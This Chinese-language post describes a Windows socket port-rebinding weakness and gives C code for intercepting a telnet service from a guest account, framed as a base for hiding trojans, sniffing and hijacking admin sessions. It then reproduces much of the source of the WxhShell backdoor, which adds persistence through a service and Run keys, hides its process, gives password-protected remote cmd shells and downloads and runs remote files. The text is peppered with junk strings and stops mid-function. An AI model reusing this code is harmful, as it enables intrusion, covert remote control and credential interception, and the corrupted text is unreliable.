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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: .iEzEmu s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); mk?F+gh [V,f@}m
F saddr.sin_family = AF_INET; </h}2x z
Q11dLjs saddr.sin_addr.s_addr = htonl(INADDR_ANY); .\AbE*lZ# H:L<gv(rG bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); =q*j". < v6KF0mqA& 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 *5S~@ nx`I9j\ 这意味着什么?意味着可以进行如下的攻击: -(![xZ1{K 'Y-Y
By : 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 2NqO,B|R pGSS
2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) iED
gcg7 gA DF 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }tH6E GMoE,L 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 Nc[u?- K(p6P3Z 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %>k$'UWzK kT4Tb%7KM 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;PX>] r5U0 lhx]r}@'MC 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 A{QA0X!p gLPgh%B4 #include s4{ >7`N2 #include +,ojlTVlt #include [5Pin>]z #include 2t"&>1 DWORD WINAPI ClientThread(LPVOID lpParam); ."JtR
int main() %$SO9PY { 6"Rw&3D? WORD wVersionRequested; +d,Z_ 6F DWORD ret; si3@R?WR6* WSADATA wsaData; =G%L:m* BOOL val; XVkCYh4, SOCKADDR_IN saddr; Kh2!c+Mw SOCKADDR_IN scaddr; 4BAG GD2 int err; RL3G7 ;X SOCKET s; la[>C:8IG SOCKET sc; A"~4|`W int caddsize; {Zy)p%j8 HANDLE mt; IH~[/qNk DWORD tid; <ULydBom wVersionRequested = MAKEWORD( 2, 2 ); 'z3I*[! err = WSAStartup( wVersionRequested, &wsaData ); ^N:bT;;$nZ if ( err != 0 ) { Q !G^CG printf("error!WSAStartup failed!\n"); E >lW' return -1; d;O4)8> } =-|,v* saddr.sin_family = AF_INET; O4fl$egQU %.VFj7J //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 *b+~@o eww/tG a saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); "Z*u2_ H saddr.sin_port = htons(23); /p_#8}Uh if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E*X-f" { ^26}j uQ printf("error!socket failed!\n"); t bEJyA return -1; H|*Ual } JP*VR=0k? val = TRUE; dw]jF=u //SO_REUSEADDR选项就是可以实现端口重绑定的 Z1ZjQt#~+ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /32x|Ow# 1 { Z.
G<' printf("error!setsockopt failed!\n"); wxSJ return -1; 2h5L#\H" } Doc_rQYku //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; e.jbFSnA //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?."YP[; //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 mJ L=H |QB[f*y5 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) .7|Iausv { %uy5la ret=GetLastError(); C4^o=
6{ printf("error!bind failed!\n"); 6#DDMP8;I return -1; 8rY[Q(] } {<1 ]cP listen(s,2); y$C\b\hM while(1) ErXzKf { r>ca17 caddsize = sizeof(scaddr); -oR P ZtW //接受连接请求 NANgV~Y& sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); k~=_]sLn if(sc!=INVALID_SOCKET) *'jI>^o { 5VR=D\j mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Ne9S90HsB6 if(mt==NULL) GPs// { ;2jH;$HZ printf("Thread Creat Failed!\n"); /Mmts=^Ja break; bx8;`QMX } {YigB } Usz O--.C CloseHandle(mt); @[. 0, } aT"0tn^LO closesocket(s); 0l+[[ZTV WSACleanup(); H4"'&A7$ return 0; <Po$|$_~ } ATscP hk DWORD WINAPI ClientThread(LPVOID lpParam) c1aIZ { KO3X)D<3 SOCKET ss = (SOCKET)lpParam; urK~]68 SOCKET sc; AMf{E unsigned char buf[4096]; Z(:q.{"r SOCKADDR_IN saddr; j9^V)\6) long num; N83c+vs%c DWORD val; hxe X6 DWORD ret; yeqHeZ //如果是隐藏端口应用的话,可以在此处加一些判断 !
n13B //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 xka&,`z saddr.sin_family = AF_INET; ,zVS}!jRhy saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ]m<z saddr.sin_port = htons(23); >&%#`PKT if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q)PLc{NO { c%@<
h6 printf("error!socket failed!\n"); Ssg1p#0J return -1; S-%itrB* } [2\jQv\Y val = 100; }^tW's8 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~6Pv5DKq { 8$`$24Wx ret = GetLastError(); ~KP@wD~ return -1; 1'4?}0Dok } +LwwI*;b if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _{&bmE { =}UcYC6l ret = GetLastError(); =k^ d5 return -1; hnBX enT6 } 7tQ?av if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8 @A}.: { SQs+4YJ printf("error!socket connect failed!\n"); n4InZ!) closesocket(sc); %i5tf;x6i closesocket(ss); '@dk3:3t return -1; >yf}9Zs } e82xBLxR% while(1) x,M8NTb* { A"i$.dR{ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ZgA+$}U)uW //如果是嗅探内容的话,可以再此处进行内容分析和记录 .oH)eD //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 .OcI.1H [ num = recv(ss,buf,4096,0); ex6QHUQ if(num>0) *b8AN3! send(sc,buf,num,0); K( r@JW else if(num==0) *3\ Nj6 break; ;u;_\k<qK num = recv(sc,buf,4096,0); !xvAy3 if(num>0) zmhL[1qj send(ss,buf,num,0); F4PWL|1 else if(num==0) t Z@OAPRx break; {4eI}p< } =A{s,UP closesocket(ss); Pl\NzB,` closesocket(sc);
Ruv`yfQ return 0 ; )~-r&Q5d } 7sq15oL z-N
N(G+ ]w_JbFmT ========================================================== QD^q\9U[ (;9j#x 下边附上一个代码,,WXhSHELL `*",_RO; >u+%H
vzc ========================================================== (f;.`W p^k*[3$0 #include "stdafx.h" Zu/w[*;M )F+wk"`+6 #include <stdio.h> p|g7Z #include <string.h> S$ n? #include <windows.h> m:6*4_! #include <winsock2.h> \+j:d9? #include <winsvc.h> Yk0/f|>O #include <urlmon.h> +CN!3(r ~9Qd83`UH #pragma comment (lib, "Ws2_32.lib") 4s6,`- #pragma comment (lib, "urlmon.lib") 4JRQ=T|P7I zZ 94_8b #define MAX_USER 100 // 最大客户端连接数 08+\fT [ #define BUF_SOCK 200 // sock buffer 5,J.$Sax #define KEY_BUFF 255 // 输入 buffer bbT1p:RF M|fC2[]v B #define REBOOT 0 // 重启 B`)TRt+'. #define SHUTDOWN 1 // 关机 fd$nAE @MP ;/o+ #define DEF_PORT 5000 // 监听端口 *k@D4F ruP +GncQs
y #define REG_LEN 16 // 注册表键长度 F^.~37=@ #define SVC_LEN 80 // NT服务名长度 k)9+;bKQQ Irui{%T // 从dll定义API %bS1$
v\n typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hP}-yW6] typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /ke[nr typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z7> Nd$E{ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g}d[j
I9 3wg1wl| // wxhshell配置信息 Rn)fwGC struct WSCFG { OIDP#K int ws_port; // 监听端口 rl,i,1t char ws_passstr[REG_LEN]; // 口令 86);0EBX int ws_autoins; // 安装标记, 1=yes 0=no |
{Q}:_/q char ws_regname[REG_LEN]; // 注册表键名 3YG%YhevO char ws_svcname[REG_LEN]; // 服务名 $,B;\PX char ws_svcdisp[SVC_LEN]; // 服务显示名 q07H{{h/B char ws_svcdesc[SVC_LEN]; // 服务描述信息 i*r ag0Mw char ws_passmsg[SVC_LEN]; // 密码输入提示信息 yKy
)%i int ws_downexe; // 下载执行标记, 1=yes 0=no k"|Fu char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" wI;sZJc char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6F5g2hBz EQ.K+d*K][ }; l6zYiM 1Tr%lO5?6 // default Wxhshell configuration =RAojoN struct WSCFG wscfg={DEF_PORT, ^B1$|C
D, "xuhuanlingzhe", >pp#>{} 1, NFF!g]QN "Wxhshell", 7'#_uAQR "Wxhshell", tSe[*V4{' "WxhShell Service",
XRHngW_A "Wrsky Windows CmdShell Service", uPxJwWXO "Please Input Your Password: ", `{m,&[n 1, %j/pln& " http://www.wrsky.com/wxhshell.exe", KcUR
/o5K "Wxhshell.exe" X]o"4#CQIX }; a?xZsR P EMBh?)g // 消息定义模块 dL_9/f4 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \_YDSmjy char *msg_ws_prompt="\n\r? for help\n\r#>"; wbvOf X char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ksTK'7* char *msg_ws_ext="\n\rExit."; 4)8e0L*[B? char *msg_ws_end="\n\rQuit."; HYL['B?Wid char *msg_ws_boot="\n\rReboot..."; 8/T,{J\ char *msg_ws_poff="\n\rShutdown..."; w
^?#xU1.i char *msg_ws_down="\n\rSave to "; E]}_hZU t1G__5wp char *msg_ws_err="\n\rErr!"; pXvys]@ char *msg_ws_ok="\n\rOK!"; nSRNd
A |o+*Iy) char ExeFile[MAX_PATH]; `sDLxgwI int nUser = 0; 2j#Dwa(lZQ HANDLE handles[MAX_USER]; UB+7]S int OsIsNt; 4oL .Bt OL%}C*Zq SERVICE_STATUS serviceStatus; +z:>Nl SERVICE_STATUS_HANDLE hServiceStatusHandle; /4N ?v. jf +prUau* // 函数声明 mkhWbzD'S int Install(void); _8!x int Uninstall(void); 0X4)=sJP int DownloadFile(char *sURL, SOCKET wsh); 7&9w_iCkV int Boot(int flag); slhMvHOk- void HideProc(void); ~KV{m int GetOsVer(void); Eg8b|!-')8 int Wxhshell(SOCKET wsl); q6 ny2;/r void TalkWithClient(void *cs); L|L|liWd int CmdShell(SOCKET sock); #kh:GAp] int StartFromService(void); KMK8jJ int StartWxhshell(LPSTR lpCmdLine); |f/Uzd ~ VN(*m(b VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P]TT8Jgw VOID WINAPI NTServiceHandler( DWORD fdwControl ); {9X mFa !Z
0U_*& // 数据结构和表定义 k DXQpe SERVICE_TABLE_ENTRY DispatchTable[] = ,iY:#E { ;9~
WB X" {wscfg.ws_svcname, NTServiceMain}, jD%|@ux {NULL, NULL} \<\H1;=.@' }; &]GR*a lHDZfwJ&C1 // 自我安装 K&zW+C b int Install(void) 8};kNW^2m { %-$BtR2@o char svExeFile[MAX_PATH]; U{/fY/kq HKEY key; =@S
a\; strcpy(svExeFile,ExeFile); _/'VD!(MV {}rnn$HQe // 如果是win9x系统,修改注册表设为自启动 5Zd oem if(!OsIsNt) { FJ4,|x3v[x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a+\<2NXYD RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5ba e- RegCloseKey(key); >MSK.SNh if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >*opE I+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Qc)i?Z'6 RegCloseKey(key); Dy>6L79G return 0; Jm#p!G+ } ck%YEMs } Vo+.s#wN`h } 9_nbMs else { '=%`;?j vm{8x o // 如果是NT以上系统,安装为系统服务 1KbZ6Msy SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); S,ea[$_ if (schSCManager!=0) MBU|<tc { ;']u}Nh SC_HANDLE schService = CreateService -*Rf [|Z ( .@%L8_sMR schSCManager, v|\#wrCT? wscfg.ws_svcname, fQ~TZ:UrU wscfg.ws_svcdisp, TnKv)%VF SERVICE_ALL_ACCESS, UP$>,05z6 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , L6DYunh}^N SERVICE_AUTO_START, rfYa<M Qc SERVICE_ERROR_NORMAL, MmfBFt* svExeFile, +3o0GJ
NULL, < \fA}b NULL, [7d(PEQL` NULL, *9uNM@7&0 NULL, ^_g%c&H NULL Kw$@_~BJ6 ); :o8|P if (schService!=0) 4hLk+ z<n { L\UGC%]9 CloseServiceHandle(schService); "]kzt ux CloseServiceHandle(schSCManager); 4}k@p>5v' strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !02y'JS1 strcat(svExeFile,wscfg.ws_svcname); hc[J,yG if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { '|Bk}pl7 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ep?D;g RegCloseKey(key); U._fb= return 0; W] DGt|JP } leb/D>y } 2G$px CloseServiceHandle(schSCManager); fP5i3[T } ?upd } t-o,iaPG3 t&EizH$ return 1; RXg\A!5GV } |aAyWK S &M<"Fmn // 自我卸载 `B4Ilh"d int Uninstall(void) ~3M8"}X;L { {6GX
?aw' HKEY key; az:}RE3o 8/(}Wet if(!OsIsNt) { >l><d!hw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wdfbl_`T RegDeleteValue(key,wscfg.ws_regname); iQ(j_i'+!I RegCloseKey(key); k}qQG}hB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1.k=ji$D0 RegDeleteValue(key,wscfg.ws_regname); |9\i+)C RegCloseKey(key); i!*<LIq return 0; axph]o@ y@ } s>I]_W)Pt } ^)Awjj9 } Yl>Y.SO else { ;tVd+[8 m"/..&'GC SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); gaz",kK< if (schSCManager!=0) hnB`+! { Anu: SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3@\/5I xn if (schService!=0) e)B1)c 8s { @vyEN.K%mm if(DeleteService(schService)!=0) { 8 yi#] 5`Q CloseServiceHandle(schService); dm[cl~[
Q CloseServiceHandle(schSCManager); >'W,8F return 0; R:&y@/JY8[ } ]xMZo){[| CloseServiceHandle(schService); ?%$O7_ThvA } nRB3VsL CloseServiceHandle(schSCManager); {*F
=&D } 9x!kvB6 } YW6a?f^! )1B?<4 return 1; aaCRZKr } _b&26!gl 1uN;JN
`_ // 从指定url下载文件 (}6\_k[}m int DownloadFile(char *sURL, SOCKET wsh) MnqT?Cc4$j { ``k[CgV HRESULT hr; dWiNe!oY2 char seps[]= "/"; 4)D~S4{E5 char *token;
K];] char *file; F"k`PF*b char myURL[MAX_PATH]; B>:U char myFILE[MAX_PATH]; aReJ@ 0C%IdV%CU strcpy(myURL,sURL); lSaX!${R'T token=strtok(myURL,seps); XXn3K BIf while(token!=NULL) xtD(tiqh.; { \P+^BG! file=token; ]
&" ` token=strtok(NULL,seps); }(!Uq } HQ9tvSc yOQae m^O GetCurrentDirectory(MAX_PATH,myFILE); gAorb\iJ strcat(myFILE, "\\"); Z;a)P.l.> strcat(myFILE, file); F7O*%y.'; send(wsh,myFILE,strlen(myFILE),0); 4]m{^z`1 send(wsh,"...",3,0); dWkQ NFKF hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'A.5T%n- if(hr==S_OK) e,p*R?Y{[ return 0; [(_,\:L${ else ,)*[Xa_n return 1; )uOtQ0 #GlFm?/6K/ } +em!TO 4hxP`!< // 系统电源模块 3Fn}nek int Boot(int flag) Z3c\}HLY { _[z)%`kay HANDLE hToken; .rO~a.kG TOKEN_PRIVILEGES tkp; 2bTS,N/> [zN*P$U] if(OsIsNt) { %.f%Q?P OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); V6[jhdb LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2IW!EUR tkp.PrivilegeCount = 1; +C7E]0!r tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $8U$.~v AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); m-\_L=QzM if(flag==REBOOT) { ^j${#Q if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Cq/u$G return 0; n:wAxU } ]zyT_}& else { AN:s%w2 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) f/8&-L return 0; @]#[TbNo } mMl len } nTo?~=b else { goyDG/ if(flag==REBOOT) { U4-RI]Cpf if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) v&;JVai return 0; 5lD`qY } F%$ q]J[ else { K<::M3eQ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) dF 6od return 0; *q=\e 9 } 7J5jf231 } eDP&W$s# n=JV*h0 return 1; kG5+kwV=: } o:ow"cOEf u? >x // win9x进程隐藏模块 Q.eD:@%iE void HideProc(void) 8(Ptse
, { >gL&a#<S .!L{yU, HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qvo!nr7 if ( hKernel != NULL ) HxW/t7Z( { l
lcq~*zz pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Nb3O>&J ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x?B`p"ifS FreeLibrary(hKernel); rp<~=X } v)O].Hd W0mvwYON[ return; h(AL\9{=} } R"HV|Dm|m `u_MdB}<x; // 获取操作系统版本 &F#eYEuy int GetOsVer(void) eQ)*jeD { U_'M9g{,< OSVERSIONINFO winfo; OhN2FkxL winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ws0)B8y,| GetVersionEx(&winfo); f
]_ki if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >r(`4M: return 1;
Ws2?sn#x else ji4bz#/B0 return 0; lY@2$q9BT } `5oXf 2i#Ekon // 客户端句柄模块 ?o6#i 3k#' int Wxhshell(SOCKET wsl) eB9&HD: { zBq&/? SOCKET wsh; A7#nBHwxZ struct sockaddr_in client; Y=Ic<WHR DWORD myID; ^fO9oPM| QX}JQ<8 while(nUser<MAX_USER) PWp=}f.y { 7D>_<)%d= int nSize=sizeof(client); 95j`^M)Q wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h,&{m*q& if(wsh==INVALID_SOCKET) return 1; 4Ng:7C2 jHE^d<=O^ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); z#`Qfvu6Hi if(handles[nUser]==0) x<rS2d-Y closesocket(wsh); P~lU`.X} else `S4*~Xx nUser++; 3:#6/@wQ } sqV~Dw WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); M6A0D+08
tmBt[ return 0; kd"nBb= } F/LMk8RgR G `3{Q7k // 关闭 socket C GK]i.N void CloseIt(SOCKET wsh) $.w$x1 { C,mfA%63 closesocket(wsh); ..BP-N)V) nUser--; j$s/YI: ExitThread(0); j$lf>.[I } WPpO(@sn f<rn't{ // 客户端请求句柄 Q1yXdw void TalkWithClient(void *cs) | X#!5u { stW
G`>X s~>1TxJe SOCKET wsh=(SOCKET)cs; aqK+ u.H char pwd[SVC_LEN]; g2==`f!i char cmd[KEY_BUFF]; KTot40osj char chr[1]; .=-a1p/ int i,j; O/#uQn} +03/A`PKrB while (nUser < MAX_USER) { 6;s[dw5T |w#~v%w if(wscfg.ws_passstr) { QT!>izgcU if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +C,/BuG //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0,@^<G8? //ZeroMemory(pwd,KEY_BUFF); Svo\+S i=0; 6yAZvX while(i<SVC_LEN) { t54?<- bd%<
Jg+ // 设置超时 I7=A!C" fd_set FdRead; @VG@|BQWa struct timeval TimeOut; E>5p7=Or;" FD_ZERO(&FdRead); |dqESl,2 FD_SET(wsh,&FdRead); biw .
~ TimeOut.tv_sec=8; *[b>]GXd49 TimeOut.tv_usec=0; 88S:E7
$ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0nkC%j if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )'RaMo` 4 y4I Qa.F if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j6k"%QHf pwd =chr[0]; uH'? Ikx" if(chr[0]==0xd || chr[0]==0xa) { 8L_OH pwd=0; S|@/"?DC break; N`?/kubD } xqY'-Hom i++; 3>MILEY^ } ,3-^EfccW @b., pwZF // 如果是非法用户,关闭 socket 4]p#9`j if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,:'JJZg@ } $-t@=N@vO? nsVLgTbx send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jC}HNiM78 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E 11C@% +Q);t, while(1) { ns\I Y<Yo M?}:N_9<J ZeroMemory(cmd,KEY_BUFF); Oi^cs=} ibwV#6 // 自动支持客户端 telnet标准 1HAnOy0 j=0; =v<A&4 while(j<KEY_BUFF) { 0QfDg DX if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C$C>RYE?. cmd[j]=chr[0]; +%K~ if(chr[0]==0xa || chr[0]==0xd) { vV9vB3K5? cmd[j]=0; EH M 59s|B break; }#4Ek8nFR } cjg~?R j++; <~w 3[i=
} 6P>}7R} =0PGE#d{t // 下载文件
w >2G@ if(strstr(cmd,"http://")) { lP]Y^Gz send(wsh,msg_ws_down,strlen(msg_ws_down),0); ybFxz if(DownloadFile(cmd,wsh)) ~$[fG}C.K send(wsh,msg_ws_err,strlen(msg_ws_err),0); q^zG+FN else -gba&B+D" send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MVvBd3 } j}
^3v # else { M1#CB cVxO\M switch(cmd[0]) { <`; {gX1 HB}rpiB // 帮助 RU6c 8>" case '?': { sb8bCEm-\ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7_)38 break; MY
c& } 1t?OD_d!8 // 安装 yx4pQL7 case 'i': { &Q}%b7 if(Install()) k[a<KbS send(wsh,msg_ws_err,strlen(msg_ws_err),0); {}Is&^3Z else aD'Ax\- send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #rBfp|b]1 break; U2W Hs3 } [v*q%Mi_ // 卸载 Xfqin4/jC case 'r': { 3^y<Db if(Uninstall()) "gm5DE send(wsh,msg_ws_err,strlen(msg_ws_err),0); D g0rVV6c else ;i?2^xe^~c send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /JC1o&z_T break; ?vAhDD5 } eQ8t.~5;- // 显示 wxhshell 所在路径 dlCYdwP case 'p': { wik<#ke char svExeFile[MAX_PATH]; oS9Od8 strcpy(svExeFile,"\n\r"); ZxT
E(BQv strcat(svExeFile,ExeFile); BQg3+w:> send(wsh,svExeFile,strlen(svExeFile),0); &V(6N%A^U break; vS0 ii } !-3;Qj}V // 重启 Y\B6c^E) case 'b': { Z^as ?k(iM send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Mz2TwU_ if(Boot(REBOOT)) JJbd h \ send(wsh,msg_ws_err,strlen(msg_ws_err),0); g.hYhg'KUh else { {GnZ@Q:F closesocket(wsh); M")/6 PH8 ExitThread(0); ;l @lA)i } ivq(eKy break; 'plUs<A } vWeY[>oGur // 关机 #(Gz?kGAH` case 'd': { *xsBFCRU send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p!uB8F if(Boot(SHUTDOWN)) {R@V send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lkx~>U
else { )&>W/56/ closesocket(wsh); YMK ![ q- ExitThread(0); K@cWg C } @,k5T51m break; b$#b+G{y } we^'R}d // 获取shell 5BXku=M case 's': { t ;h`nH[ CmdShell(wsh); z5M6 closesocket(wsh); {en'8kS ExitThread(0); HSROgBNI: break; HNBmq>XDc } &b5(Su // 退出 0^o/cSF case 'x': { jED.0,+K! send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); u|Mx} CloseIt(wsh); +D]raU break; 0D@ $ } -/{FGbpR; // 离开 {b4`\I@< case 'q': { wDW%v@ send(wsh,msg_ws_end,strlen(msg_ws_end),0); ml1%C% closesocket(wsh); |M5#jVXj WSACleanup(); [yQ%g;m exit(1); 9.M'FCd~M break; R3|4|JlGR } \#dacQ2E@ } jLVD37 P^ } =%IyR ^&1O:G*" // 提示信息 |H_WY# if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n^ fUKi*; } I(pq3_9$ } x@rQ7K> ,
%z HykP return; sV%DX5@ } -#;xfJE Z*mbhod // shell模块句柄 !.mR]El{K int CmdShell(SOCKET sock) 4l%W]' { Hh=fv~X STARTUPINFO si; |> ]@w\] ZeroMemory(&si,sizeof(si)); Wmcd{MOS si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r \ft{Z<P si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /ugyUpyg PROCESS_INFORMATION ProcessInfo; w($a'&d`0 char cmdline[]="cmd"; TMPk)N1Ka CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); iUR ij@ return 0; YFB>GQ; } }5oI` 9VT |3,WiK=' // 自身启动模式 ..u{v}4& int StartFromService(void) 9_:"`)]3B { r@zT!.sc! typedef struct MukJ^h*V { _(h=@cv DWORD ExitStatus; A[;deHg= DWORD PebBaseAddress; MYy58N DWORD AffinityMask; 4mo/MK&M: DWORD BasePriority; PZ8,E{V ULONG UniqueProcessId; LPt9+sauf1 ULONG InheritedFromUniqueProcessId; oHx:["F } PROCESS_BASIC_INFORMATION; bGeIb-|( ; o_0~l=-/ PROCNTQSIP NtQueryInformationProcess; Hm'"I!jyO %w65)BFQ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L>sLb(2\i static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <6 Rec^QF z&d.YO_W HANDLE hProcess; iVZ}+Ct<" PROCESS_BASIC_INFORMATION pbi; xE?KJ zs#-E_^%M HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e3;D1@ if(NULL == hInst ) return 0; \Yr*x7! d%'#-w' g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |@JTSz*Or 